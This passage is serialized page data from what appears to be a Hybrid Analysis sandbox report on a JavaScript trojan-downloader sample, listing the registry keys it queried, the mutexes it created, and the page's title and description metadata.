rces":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"Local\\SM0:5240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"Local\\SM0:5240:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:5240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:5240:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5240:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5240:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6896:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"Local\\SM0:6896:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:6896:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"Local\\SM0:6896:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:6896:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6896:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6896:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6896:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8764:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:8764:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6900:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\BaseNamedObjects\\K029T504577v6YGC","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:6900:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3588:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:3588:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8428:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:8428:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3400:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:3400:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7660:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"SM0:7660:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}]}},"report_ids":{"sandbox_job_ids":["6aeb06ee37a6f7ecfd022f4a"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious SVM:TrojanDownloader/JS.Nemucod Sample c0b6230be84e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample c0b6230be84e…. Malware family: SVM:TrojanDownloader/JS.Nemucod. Threat score 100/100. 3/27 AV engines flagged this file. 9 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0"}],["$","meta","4",{"property":"og:title","content":"Malicious SVM:TrojanDownloader/JS.Nemucod Sample c0b6230be84e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample c0b6230be84e…. Malware family: SVM:TrojanDownloader/JS.Nemucod. Threat score 100/100. 3/27 AV engines flagged this file. 9 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious SVM:TrojanDownloader/JS.Nemucod Sample c0b6230be84e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample c0b6230be84e…. Malware family: SVM:TrojanDownloader/JS.Nemucod. Threat score 100/100. 3/27 AV engines flagged this file. 9 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5f","11",{}]] 32:null